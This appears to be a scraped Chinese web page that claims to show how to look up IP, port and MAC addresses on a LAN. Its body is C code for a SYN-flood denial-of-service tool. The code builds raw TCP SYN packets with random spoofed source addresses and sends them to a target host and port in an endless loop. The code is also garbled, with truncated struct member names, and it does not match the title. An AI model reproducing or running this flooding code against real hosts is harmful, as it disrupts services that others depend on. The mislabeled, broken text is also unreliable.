查询局域网电脑的IP,端口号,MAC地址

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2024年1月17日发(作者：)

{

int sockfd;

struct sockaddr_in addr;

struct hostent *host;

int on=1;

if(argc!=4)

{

fprintf(stderr,"Usage:%s des_hostname/ip des_port local_portn",argv[0]);

exit(EXIT_FAILURE);

}

memset(&addr,0,sizeof(struct sockaddr_in));

_family=AF_INET;

if(inet_aton(argv[1],&_addr)==0)

{

host=gethostbyname(argv[1]);

if(host==NULL)

{

fprintf(stderr,"HostName Error:%sna",hstrerror(h_errno));

exit(EXIT_FAILURE);

}

_addr=*(struct in_addr *)(host->h_addr_list[0]);

}

_port=htons(atoi(argv[2]));

sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);

if(sockfd<0)

{

fprintf(stderr,"Socket Error:%sna",strerror(errno));

exit(EXIT_FAILURE);

}

setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));

send_data(sockfd,&addr,argv[3]);

}

void send_data(int sockfd,struct sockaddr_in *addr,char *port)

{

char buffer[100];

struct iphdr *ip;

struct tcphdr *tcp;

int head_len;

head_len=sizeof(struct iphdr)+sizeof(struct tcphdr);

bzero(buffer,100);

ip=(struct iphdr *)buffer;

ip->version=IPVERSION;

ip->ihl=sizeof(struct ip)>>2;

ip->tos=0;

ip->tot_len=htons(head_len);

ip->id=0;

ip->frag_off=0;

ip->ttl=MAXTTL;

ip->protocol=IPPROTO_TCP;

ip->check=0;

ip->daddr = addr->sin_addr.s_addr;

tcp=(struct tcphdr *)(buffer +sizeof(struct ip));

tcp->source=htons(atoi(port));

tcp->dest=addr->sin_port;

tcp->seq=random();

tcp->ack_seq=0;

tcp->doff=5;

tcp->syn=1;

tcp->check=0;

while(1)

{

ip->saddr=random();

tcp->check=0;

tcp->check=check_sum((unsigned short *)tcp,

sizeof(struct tcphdr));

sendto(sockfd,buffer,head_len,0,(struct sockaddr *)addr,(socklen_t)sizeof(struct sockaddr_in));

}

}

本文标签： 电脑端口号查询